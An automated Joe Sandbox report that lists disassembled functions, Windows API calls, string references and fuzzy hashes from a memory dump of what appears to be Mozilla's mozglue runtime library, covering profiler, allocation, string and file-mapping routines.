Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 7a33b91ba80d5038e1b26b8dae256c62a5fc453b0ec20eedbaa40a0fd68e177d
Instruction ID: b80e057e756c5fb665716fd3055c1b064b7ce1319f1f565d58ce2c016fbf6553
Opcode Fuzzy Hash: 7a33b91ba80d5038e1b26b8dae256c62a5fc453b0ec20eedbaa40a0fd68e177d
Instruction Fuzzy Hash: 30C17D31A093919FD709DF28C4406AAF7F1BFAA718F05DA1DE8C497660D731D886CB82

Function 6CA0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0EC8C

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

GetCurrentThreadId.KERNEL32 ref: 6CA0ECA1
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA0ED19
CloseHandle.KERNEL32(?), ref: 6CA0ED28
free.MOZGLUE(00000000), ref: 6CA0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA0EC94

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9be7e56b83b6b37052edad0bd6e4618c14a811d8feb40c2816736e1ad0fe113b
Instruction ID: 5d5dab05a1619fcbc3a5641f16b61d5a876405929470e2d396d09d6fff6e2e19
Opcode Fuzzy Hash: 9be7e56b83b6b37052edad0bd6e4618c14a811d8feb40c2816736e1ad0fe113b
Instruction Fuzzy Hash: 4E21D375700605AFDB04AF24FC04AAA7779FB863ADF14C214FD1897741DB32988ACBA1

Function 6CA08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C9CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA0B392,?,?,00000001), ref: 6CA091F4

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

Strings

timeline-memory, xrefs: 6CA09088
timeline-fileio, xrefs: 6CA090A4
marker-table, xrefs: 6CA0906C
name, xrefs: 6CA08F16
marker-chart, xrefs: 6CA0905E
data, xrefs: 6CA090E8
stack-chart, xrefs: 6CA090B2
timeline-ipc, xrefs: 6CA09096
timeline-overview, xrefs: 6CA0907A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a11a96997be2adea3893ce551e07e599973f67e621bdf7891e6f4d76614b0f45
Instruction ID: 5f586ef1a8d1a53b2b87cb9f8858a648e9664469320812ed1e404cabd9762b41
Opcode Fuzzy Hash: a11a96997be2adea3893ce551e07e599973f67e621bdf7891e6f4d76614b0f45
Instruction Fuzzy Hash: E5B1D5B0B11209DBDB04CFA8D9967AEBBB5BF94348F108019D505ABF80C731E985CBD1

Function 6C9EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C9EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C9EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C9ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ECAA5

Strings

0, xrefs: 6C9ED30A
(null), xrefs: 6C9EC596

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 1e8a8f96e06015836e7bfe6ecd59b6dec2013fe67ca1e4ed5d5392d556680e3a
Instruction ID: 60a484c17c10f8e1ed2b90ef478795e2424f8d93b2865b163a16b28dc264c260
Opcode Fuzzy Hash: 1e8a8f96e06015836e7bfe6ecd59b6dec2013fe67ca1e4ed5d5392d556680e3a
Instruction Fuzzy Hash: 40A18A316083429FDB06EF28C95475ABBE5AFDD748F04892DE8D997741D731E809CB82

Function 6C9EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C9EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EC891

Strings

inf, xrefs: 6C9EC78F
INF, xrefs: 6C9EC794
NAN, xrefs: 6C9EC7AD
nan, xrefs: 6C9EC7A8

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: c3929be5ee03e7f5143c562a8d20072dbdd673144be6cfef982013ff6f721e06
Instruction ID: 9563bbd6f20f82a25946ba8c35c80047b3b40d999a4719c5a655b87c250b9916
Opcode Fuzzy Hash: c3929be5ee03e7f5143c562a8d20072dbdd673144be6cfef982013ff6f721e06
Instruction Fuzzy Hash: 62518371A087408BD705AF6CC58169AFBF4BFAE308F008A2DE9D597650E771D985CB43

Function 6C9C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA04843,?), ref: 6C9C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA04843,?), ref: 6C9C468A
free.MOZGLUE(?,?,?,?,?,?,6CA04843,?), ref: 6C9C46C9
free.MOZGLUE(?), ref: 6C9C46EF
free.MOZGLUE(?), ref: 6C9C4712
free.MOZGLUE(?), ref: 6C9C4735
free.MOZGLUE(?), ref: 6C9C4758
free.MOZGLUE(?), ref: 6C9C477B
free.MOZGLUE(?), ref: 6C9C479E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: ce189937bf33fd76b9ab6d680941c9b7289222fc3caa6338d27d50233159a311
Instruction ID: b2d14b119e7e0e6dc7c316603dec6bae8387a3073527d20ec1625b17a774c88c
Opcode Fuzzy Hash: ce189937bf33fd76b9ab6d680941c9b7289222fc3caa6338d27d50233159a311
Instruction Fuzzy Hash: 2CB1EB72B001518FDB188E2CC9E077D76B6AF56328F1846A8E816DBBC6D730D8408F93

Function 6CA2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA2AC52
CreateFileMappingW.KERNEL32 ref: 6CA2AC7D
GetSystemInfo.KERNEL32 ref: 6CA2AC98
MapViewOfFile.KERNEL32 ref: 6CA2ACB0
GetSystemInfo.KERNEL32 ref: 6CA2ACCD
MapViewOfFile.KERNEL32 ref: 6CA2AD05
UnmapViewOfFile.KERNEL32 ref: 6CA2AD1C
CloseHandle.KERNEL32 ref: 6CA2AD28
UnmapViewOfFile.KERNEL32 ref: 6CA2AD37
CloseHandle.KERNEL32 ref: 6CA2AD43
CloseHandle.KERNEL32 ref: 6CA2AD67

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: a74970c67502f714c0e1ed2209ac76a8a90c741c627b56c2aed091604fbd9fac
Instruction ID: cee5d26371d1492262ea18df731f3ee77f384c54c972cd81819f04dc62fa02ff
Opcode Fuzzy Hash: a74970c67502f714c0e1ed2209ac76a8a90c741c627b56c2aed091604fbd9fac
Instruction Fuzzy Hash: C73182B19047058FDB04BF7CD64966EBBF1BF85305F05CA2DE88987211EB749889CB82

Function 6C9D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C9D9675
__Init_thread_footer.LIBCMT ref: 6C9D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C9D9707
__Init_thread_footer.LIBCMT ref: 6C9D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9D9773

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9D97B7
FreeLibrary.KERNEL32 ref: 6C9D97D0
FreeLibrary.KERNEL32 ref: 6C9D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C9D9670
NtMapViewOfSection, xrefs: 6C9D9701
ntdll.dll, xrefs: 6C9D96E3
MapViewOfFileNuma2, xrefs: 6C9D97B1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 9be325c6c47e6b99fe9bf3d5d65437e2c5df8c5ffc63cd502349a813e5ffa6cf
Instruction ID: 0015385344e0dc003b93782435dc1613a0f20f9c08e861669be09510ece1ae69
Opcode Fuzzy Hash: 9be325c6c47e6b99fe9bf3d5d65437e2c5df8c5ffc63cd502349a813e5ffa6cf
Instruction Fuzzy Hash: 3F41D0746007069FDF04EFA4ED94A8A7BB4FB49729F02C128ED1597740EB35E846CBA1

Function 6C9C1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9C1EC1
LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9C1EE1
EnterCriticalSection.KERNEL32(6CA4E744), ref: 6C9C1F38
LeaveCriticalSection.KERNEL32(6CA4E744), ref: 6C9C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C9C1F83
LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9C1FC0
EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9C1FE2
LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9C2019

Strings

MOZ_CRASH(), xrefs: 6C9C2000

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: eecf1781da3e2bf1e4af01a7dee7526be0cf69f7c3207e574162ff82e53786e6
Instruction ID: 70597d0edc1b65110c134b5d17f48f539c7850420a8a9025f6835dec1539b9e4
Opcode Fuzzy Hash: eecf1781da3e2bf1e4af01a7dee7526be0cf69f7c3207e574162ff82e53786e6
Instruction Fuzzy Hash: 0741F171B003168BDB04EF78C888B6E7AB5EF5A358F048125E91497740DB72D8058BD6

Function 6C9D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9D7EA7
malloc.MOZGLUE(00000001), ref: 6C9D7EB3

Part of subcall function 6C9DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C9DCB49
Part of subcall function 6C9DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C9DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C9D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C9D7F19
malloc.MOZGLUE(?), ref: 6C9D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9D7F4D

Strings

d, xrefs: 6C9D7F89

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bc8925c722de2e4c5db9a844579ec3ca164e32abe31bdb9a919422b0c1e51ae3
Instruction ID: 132219eb917217678158dd4f650012c9423eda4fb6a394f0797c36b5aef2a3df
Opcode Fuzzy Hash: bc8925c722de2e4c5db9a844579ec3ca164e32abe31bdb9a919422b0c1e51ae3
Instruction Fuzzy Hash: 73311361E0075997DB009B68DC149BEB778EFA620CF05D628EC49AB612FB71E5C9C390

Function 6C9D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C9D3EEE
RtlFreeHeap.NTDLL ref: 6C9D3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C9D4006
RtlFreeHeap.NTDLL ref: 6C9D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C9D3CCC), ref: 6C9D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C9D3CCC), ref: 6C9D40C2
RtlFreeHeap.NTDLL ref: 6C9D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C9D3CCC), ref: 6C9D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C9D3CCC), ref: 6C9D4157

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 98c716bcb6ac0ae95f64ce7de384cd5fc290cbb35e90e4ea834d1361c17d5ade
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B5A182B5A00615CFEB40CF68C880769B7B5FF58308F268159D909AF742D771E996CFA0

Function 6C9C48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA0483A,?), ref: 6C9C4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA0483A,?), ref: 6C9C4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA0483A,?), ref: 6C9C4A82

Part of subcall function 6C9DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9DCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA0483A,?), ref: 6C9C4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA0483A,?), ref: 6C9C4A35

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA0483A,?), ref: 6C9C4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA0483A,?), ref: 6C9C4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA0483A,?), ref: 6C9C4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA0483A,?), ref: 6C9C4B2C

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a51b9ae831ad502a35386d4f926d330a83e6e8da60c68a03a39cce1ae51e8813
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 387149B1A00B069FCB54CF68C480AAAB7F5FF18308B50467ED15A9BB51E731F655CB82

Function 6CA19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA18273), ref: 6CA19D65
free.MOZGLUE(6CA18273,?), ref: 6CA19D7C
free.MOZGLUE(?,?), ref: 6CA19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA19E0F
free.MOZGLUE(6CA1946B,?,?), ref: 6CA19E24
free.MOZGLUE(?,?,?), ref: 6CA19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA19EC8
free.MOZGLUE(6CA1946B,?,?,?), ref: 6CA19EDF
free.MOZGLUE(?,?,?,?), ref: 6CA19EF5

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b9a9e2e2280ccd001cbe0ff7ae6b1a02736e6082be76ba32da54a15283fcc7a
Instruction ID: e9b563d4bf4d43e486cb1c5d1d4d020cc2d553c2a4f2662a0db3aaad31aa118d
Opcode Fuzzy Hash: 4b9a9e2e2280ccd001cbe0ff7ae6b1a02736e6082be76ba32da54a15283fcc7a
Instruction Fuzzy Hash: CF717DB0909B419BD712CF28C58055BF3F5FFA9315B44965DE89A9BB02EB30E8C5CB81

Function 6CA1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA1DDCF

Part of subcall function 6C9FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9FFA4B

Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA190FF
Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA1DE0D
free.MOZGLUE(00000000), ref: 6CA1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA0DEFD,?,6C9D4A68), ref: 6CA1DF32

Part of subcall function 6CA1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA1DB86
Part of subcall function 6CA1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA0DEFD,?,6C9D4A68), ref: 6CA1DF65
free.MOZGLUE(?), ref: 6CA1DF80

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

